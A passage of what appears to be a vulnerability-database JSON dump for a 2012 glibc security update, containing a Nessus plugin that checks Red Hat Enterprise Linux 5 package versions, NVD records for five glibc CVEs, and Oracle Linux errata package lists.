ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5029.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5064.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2010-0830.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1089.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-4609.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://rhn.redhat.com/errata/RHSA-2012-0126.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:5\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/14\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = eregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^5([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 5.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2012:0126\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL5\", reference:\"glibc-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", reference:\"glibc-devel-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-devel / glibc-headers / glibc-utils / etc\");\n }\n}\n", "naslFamily": "Red Hat Local Security Checks", "pluginID": "57929", "cpe": ["cpe:/o:redhat:enterprise_linux:5", "p-cpe:/a:redhat:enterprise_linux:glibc-utils", "p-cpe:/a:redhat:enterprise_linux:glibc", "p-cpe:/a:redhat:enterprise_linux:glibc-common", "p-cpe:/a:redhat:enterprise_linux:glibc-devel", "p-cpe:/a:redhat:enterprise_linux:nscd", "p-cpe:/a:redhat:enterprise_linux:glibc-headers"]}

{"result": {"cve": [{"lastseen": "2016-09-03T15:55:25", "references": ["https://bugzilla.redhat.com/show_bug.cgi?id=767299"], "edition": 1, "description": "The svc_run function in the RPC implementation in glibc before 2.15 allows remote attackers to cause a denial of service (CPU consumption) via a large number of RPC connections.", "reporter": "NVD", "published": "2013-05-02T10:55:01", "title": "CVE-2011-4609", "type": "cve", "enchantments": {"score": {"modified": "2016-09-03T15:55:25", "vector": "NONE", "value": 5.0}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2011-4609"], "scanner": [], "modified": "2013-05-03T00:00:00", "cpe": ["cpe:/a:gnu:glibc:2.1.3", "cpe:/a:gnu:glibc:2.1.1", "cpe:/a:gnu:glibc:2.0.3", "cpe:/a:gnu:glibc:2.1.2", "cpe:/a:gnu:glibc:2.1.1.6", "cpe:/a:gnu:glibc:2.14", "cpe:/a:gnu:glibc:2.0", "cpe:/a:gnu:glibc:2.13", "cpe:/a:gnu:glibc:2.0.2", "cpe:/a:gnu:glibc:2.0.4", "cpe:/a:gnu:glibc:2.1", "cpe:/a:gnu:glibc:2.0.6", "cpe:/a:gnu:glibc:2.0.5", "cpe:/a:gnu:glibc:2.0.1", "cpe:/a:gnu:glibc:2.1.9"], "id": "CVE-2011-4609", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4609", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-08-17T11:14:44", "references": ["http://drosenbe.blogspot.com/2010/05/integer-overflow-in-ldso-cve-2010-0830.html", "https://lists.opensuse.org/opensuse-security-announce/2010-10/msg00007.html", "http://securitytracker.com/id?1024044", "http://www.debian.org/security/2010/dsa-2058", "http://frugalware.org/security/662", "http://www.vupen.com/english/advisories/2010/1246", "http://security.gentoo.org/glsa/glsa-201011-01.xml", "https://exchange.xforce.ibmcloud.com/vulnerabilities/58915", "http://www.ubuntu.com/usn/USN-944-1", "http://www.securityfocus.com/bid/40063", "http://www.mandriva.com/security/advisories?name=MDVSA-2010:112", "http://www.mandriva.com/security/advisories?name=MDVSA-2010:111", "http://sourceware.org/git/?p=glibc.git;a=commit;h=db07e962b6ea963dbb345439f6ab9b0cf74d87c5"], "description": "Integer signedness error in the elf_get_dynamic_info function in elf/dynamic-link.h in ld.so in the GNU C Library (aka glibc or libc6) 2.0.1 through 2.11.1, when the --verify option is used, allows user-assisted remote attackers to execute arbitrary code via a crafted ELF program with a negative value for a certain d_tag structure member in the ELF header.", "edition": 3, "reporter": "NVD", "published": "2010-06-01T16:30:02", "title": "CVE-2010-0830", "type": "cve", "enchantments": {"score": {"modified": "2017-08-17T11:14:44", "vector": "NONE", "value": 9.3}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2010-0830"], "scanner": [], "modified": "2017-08-16T21:32:08", "cpe": ["cpe:/a:gnu:glibc:2.3.6", "cpe:/a:gnu:glibc:2.1.3", "cpe:/a:gnu:glibc:2.1.1", "cpe:/a:gnu:glibc:2.3.10", "cpe:/a:gnu:glibc:2.2", "cpe:/a:gnu:glibc:2.0.3", "cpe:/a:gnu:glibc:2.3.3", "cpe:/a:gnu:glibc:2.1.2", "cpe:/a:gnu:glibc:2.9", "cpe:/a:gnu:glibc:2.1.1.6", "cpe:/a:gnu:glibc:2.11", "cpe:/a:gnu:glibc:2.3", "cpe:/a:gnu:glibc:2.4", "cpe:/a:gnu:glibc:2.11.1", "cpe:/a:gnu:glibc:2.6", "cpe:/a:gnu:glibc:2.2.2", "cpe:/a:gnu:glibc:2.2.5", "cpe:/a:gnu:glibc:2.2.3", "cpe:/a:gnu:glibc:2.10", "cpe:/a:gnu:glibc:2.6.1", "cpe:/a:gnu:glibc:2.0.2", "cpe:/a:gnu:glibc:2.2.4", "cpe:/a:gnu:glibc:2.10.1", "cpe:/a:gnu:glibc:2.0.4", "cpe:/a:gnu:glibc:2.1", "cpe:/a:gnu:glibc:2.0.6", "cpe:/a:gnu:glibc:2.5.1", "cpe:/a:gnu:glibc:2.0.5", "cpe:/a:gnu:glibc:2.7", "cpe:/a:gnu:glibc:2.0.1", "cpe:/a:gnu:glibc:2.3.2", "cpe:/a:gnu:glibc:2.8", "cpe:/a:gnu:glibc:2.2.1", "cpe:/a:gnu:glibc:2.3.4", "cpe:/a:gnu:glibc:2.1.9", "cpe:/a:gnu:glibc:2.3.5", "cpe:/a:gnu:glibc:2.5", "cpe:/a:gnu:glibc:2.3.1"], "id": "CVE-2010-0830", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0830", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2016-09-03T13:21:03", "references": ["http://sourceware.org/git/?p=glibc.git;a=commit;h=97ac2654b2d831acaa18a2b018b0736245903fd2", "http://dividead.wordpress.com/2009/06/01/glibc-timezone-integer-overflow/", "https://bugzilla.redhat.com/show_bug.cgi?id=761245", "http://lists.grok.org.uk/pipermail/full-disclosure/2011-December/084452.html", "http://sourceware.org/ml/libc-alpha/2011-12/msg00037.html"], "edition": 1, "description": "Integer overflow in the __tzfile_read function in glibc before 2.15 allows context-dependent attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted timezone (TZ) file, as demonstrated using vsftpd.", "reporter": "NVD", "published": "2013-05-02T10:55:01", "title": "CVE-2009-5029", "type": "cve", "enchantments": {"score": {"modified": "2016-09-03T13:21:03", "vector": "NONE", "value": 6.8}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2009-5029"], "scanner": [], "modified": "2013-05-03T08:39:28", "cpe": ["cpe:/a:gnu:glibc:2.1.3", "cpe:/a:gnu:glibc:2.1.1", "cpe:/a:gnu:glibc:2.0.3", "cpe:/a:gnu:glibc:2.1.2", "cpe:/a:gnu:glibc:2.1.1.6", "cpe:/a:gnu:glibc:2.14", "cpe:/a:gnu:glibc:2.0", "cpe:/a:gnu:glibc:2.13", "cpe:/a:gnu:glibc:2.0.2", "cpe:/a:gnu:glibc:2.0.4", "cpe:/a:gnu:glibc:2.1", "cpe:/a:gnu:glibc:2.0.6", "cpe:/a:gnu:glibc:2.0.5", "cpe:/a:gnu:glibc:2.0.1", "cpe:/a:gnu:glibc:2.1.9"], "id": "CVE-2009-5029", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-5029", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-18T15:52:56", "references": ["http://sourceware.org/bugzilla/show_bug.cgi?id=12625", "https://bugzilla.redhat.com/show_bug.cgi?id=688980", "http://openwall.com/lists/oss-security/2011/03/05/3", "http://openwall.com/lists/oss-security/2011/03/15/6", "http://openwall.com/lists/oss-security/2011/03/05/7", "http://openwall.com/lists/oss-security/2011/03/31/4", "http://openwall.com/lists/oss-security/2011/04/01/2", "http://openwall.com/lists/oss-security/2011/03/04/12", "http://openwall.com/lists/oss-security/2011/03/04/9", "http://openwall.com/lists/oss-security/2011/03/04/11", "http://www.mandriva.com/security/advisories?name=MDVSA-2011:178", "http://openwall.com/lists/oss-security/2011/03/14/7", "http://www.securityfocus.com/bid/46740", "http://www.redhat.com/support/errata/RHSA-2011-1526.html", "http://openwall.com/lists/oss-security/2011/03/22/4", "http://openwall.com/lists/oss-security/2011/03/31/3", "http://openwall.com/lists/oss-security/2011/03/07/9", "http://www.mandriva.com/security/advisories?name=MDVSA-2011:179", "http://openwall.com/lists/oss-security/2011/03/22/6", "http://openwall.com/lists/oss-security/2011/03/14/5", "http://openwall.com/lists/oss-security/2011/03/04/10", "http://openwall.com/lists/oss-security/2011/03/14/16"], "description": "The addmntent function in the GNU C Library (aka glibc or libc6) 2.13 and earlier does not report an error status for failed attempts to write to the /etc/mtab file, which makes it easier for local users to trigger corruption of this file, as demonstrated by writes from a process with a small RLIMIT_FSIZE value, a different vulnerability than CVE-2010-0296.", "edition": 2, "reporter": "NVD", "published": "2011-04-09T22:55:01", "title": "CVE-2011-1089", "type": "cve", "enchantments": {"score": {"modified": "2017-04-18T15:52:56", "vector": "NONE", "value": 2.1}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2011-1089"], "scanner": [], "modified": "2016-12-07T13:15:43", "cpe": ["cpe:/a:gnu:glibc:2.3.6", "cpe:/a:gnu:glibc:2.12.1", "cpe:/a:gnu:glibc:2.1.3", "cpe:/a:gnu:glibc:2.12.0", "cpe:/a:gnu:glibc:2.12.2", "cpe:/a:gnu:glibc:1.09.1", "cpe:/a:gnu:glibc:2.1.1", "cpe:/a:gnu:glibc:2.3.10", "cpe:/a:gnu:glibc:2.11.3", "cpe:/a:gnu:glibc:1.05", "cpe:/a:gnu:glibc:1.02", "cpe:/a:gnu:glibc:2.2", "cpe:/a:gnu:glibc:2.0.3", "cpe:/a:gnu:glibc:2.3.3", "cpe:/a:gnu:glibc:1.08", "cpe:/a:gnu:glibc:2.1.2", "cpe:/a:gnu:glibc:2.9", "cpe:/a:gnu:glibc:1.07", "cpe:/a:gnu:glibc:2.1.1.6", "cpe:/a:gnu:glibc:2.10.2", "cpe:/a:gnu:glibc:2.11", "cpe:/a:gnu:glibc:2.0", "cpe:/a:gnu:glibc:2.3", "cpe:/a:gnu:glibc:2.4", "cpe:/a:gnu:glibc:2.11.1", "cpe:/a:gnu:glibc:2.13", "cpe:/a:gnu:glibc:2.6", "cpe:/a:gnu:glibc:2.2.2", "cpe:/a:gnu:glibc:2.2.5", "cpe:/a:gnu:glibc:1.09", "cpe:/a:gnu:glibc:2.2.3", "cpe:/a:gnu:glibc:2.10", "cpe:/a:gnu:glibc:2.6.1", "cpe:/a:gnu:glibc:2.0.2", "cpe:/a:gnu:glibc:1.01", "cpe:/a:gnu:glibc:1.00", "cpe:/a:gnu:glibc:1.03", "cpe:/a:gnu:glibc:2.2.4", "cpe:/a:gnu:glibc:1.06", "cpe:/a:gnu:glibc:2.10.1", "cpe:/a:gnu:glibc:2.0.4", "cpe:/a:gnu:glibc:2.1", "cpe:/a:gnu:glibc:2.0.6", "cpe:/a:gnu:glibc:2.5.1", "cpe:/a:gnu:glibc:2.0.5", "cpe:/a:gnu:glibc:2.11.2", "cpe:/a:gnu:glibc:2.7", "cpe:/a:gnu:glibc:1.04", "cpe:/a:gnu:glibc:2.0.1", "cpe:/a:gnu:glibc:2.1.3.10", "cpe:/a:gnu:glibc:2.3.2", "cpe:/a:gnu:glibc:2.8", "cpe:/a:gnu:glibc:2.2.1", "cpe:/a:gnu:glibc:2.3.4", "cpe:/a:gnu:glibc:2.1.9", "cpe:/a:gnu:glibc:2.3.5", "cpe:/a:gnu:glibc:2.5", "cpe:/a:gnu:glibc:2.3.1"], "id": "CVE-2011-1089", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1089", "cvss": {"score": 3.3, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2016-09-03T13:21:30", "references": ["http://openwall.com/lists/oss-security/2011/03/08/10", "https://bugzilla.redhat.com/show_bug.cgi?id=682998", "https://bugzilla.redhat.com/show_bug.cgi?id=531160", "http://openwall.com/lists/oss-security/2011/03/07/7", "http://openwall.com/lists/oss-security/2011/03/08/1", "http://www.catonmat.net/blog/ldd-arbitrary-code-execution/", "http://reverse.lostrealm.com/protect/ldd.html", "http://openwall.com/lists/oss-security/2011/03/08/7", "http://openwall.com/lists/oss-security/2011/03/07/13", "http://www.redhat.com/support/errata/RHSA-2011-1526.html", "http://openwall.com/lists/oss-security/2011/03/07/10", "http://openwall.com/lists/oss-security/2011/03/08/3", "http://openwall.com/lists/oss-security/2011/03/08/2"], "edition": 1, "description": "** DISPUTED ** ldd in the GNU C Library (aka glibc or libc6) 2.13 and earlier allows local users to gain privileges via a Trojan horse executable file linked with a modified loader that omits certain LD_TRACE_LOADED_OBJECTS checks. NOTE: the GNU C Library vendor states \"This is just nonsense. There are a gazillion other ways to introduce code if people are downloading arbitrary binaries and install them in appropriate directories or set LD_LIBRARY_PATH etc.\"", "reporter": "NVD", "published": "2011-03-30T18:55:01", "type": "cve", "title": "CVE-2009-5064", "enchantments": {"score": {"modified": "2016-09-03T13:21:30", "vector": "NONE", "value": 7.2}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2009-5064"], "scanner": [], "cpe": ["cpe:/a:gnu:glibc:2.1.3", "cpe:/a:gnu:glibc:1.09.1", "cpe:/a:gnu:glibc:2.1.1", "cpe:/a:gnu:glibc:1.05", "cpe:/a:gnu:glibc:1.02", "cpe:/a:gnu:glibc:2.0.3", "cpe:/a:gnu:glibc:1.08", "cpe:/a:gnu:glibc:2.1.2", "cpe:/a:gnu:glibc:1.07", "cpe:/a:gnu:glibc:2.1.1.6", "cpe:/a:gnu:glibc:2.0", "cpe:/a:gnu:glibc:1.09", "cpe:/a:gnu:glibc:2.0.2", "cpe:/a:gnu:glibc:1.01", "cpe:/a:gnu:glibc:1.00", "cpe:/a:gnu:glibc:1.03", "cpe:/a:gnu:glibc:1.06", "cpe:/a:gnu:glibc:2.0.4", "cpe:/a:gnu:glibc:2.1", "cpe:/a:gnu:glibc:2.0.6", "cpe:/a:gnu:glibc:2.0.5", "cpe:/a:gnu:glibc:1.04", "cpe:/a:gnu:glibc:2.0.1"], "modified": "2012-01-18T22:44:52", "id": "CVE-2009-5064", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-5064", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "oraclelinux": [{"lastseen": "2016-09-04T11:16:57", "references": [], "affectedPackage": [{"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-headers-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-headers", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-utils-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-utils", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-common-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-common", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-static", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-common-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-common", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-headers-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-headers", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-utils-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-utils", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-static", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-static", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "nscd-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "nscd", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-devel", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-devel", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-devel", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "nscd-2.12-1.47.el6_2.5.i686.rpm", "packageName": "nscd", "arch": "i686", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.src.rpm", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.src.rpm", "packageName": "glibc", "arch": "src", "operator": "lt"}], "description": "[2.12-1.47.el6_2.5]\n- Avoid high cpu usage when accept fails with EMFILE (#767692)\n[2.12-1.47.el6_2.4]\n- Make implementation of ARENAS_TEST and ARENAS_MAX match\n documentation (#769594)\n- Check malloc arena atomically (#769594)\n[2.12-1.47.el6_2.3]\n- Check values from TZ file header (#767692)\n[2.12-1.47.el6_2.2]\n- Correctly reparse group line after enlarging the buffer\n (#766484)\n[2.12-1.47.el6_2.1]\n- Fix grouping and reuse other locales in various locales (#754116)", "edition": 1, "reporter": "Oracle", "published": "2012-01-24T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "title": "glibc security and bug fix update", "type": "oraclelinux", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2012-01-24T00:00:00", "id": "ELSA-2012-0058", "href": "http://linux.oracle.com/errata/ELSA-2012-0058.html", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2016-09-04T11:16:43", "references": [], "affectedPackage": [{"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-utils-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-utils", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-devel-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc-devel", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-common-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-common", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc", "arch": "i386", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc", "arch": "x86_64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "nscd-2.5-65.el5_7.3.ia64.rpm", "packageName": "nscd", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-headers-2.5-65.el5_7.3.ia64.rpm", "packageName": "glibc-headers", "arch": "ia64", "operator": "lt"}, {"OS": "Oracle Linux", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-utils-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc-utils", "arch": "x86_64", "operator": "lt"}, {"OS": 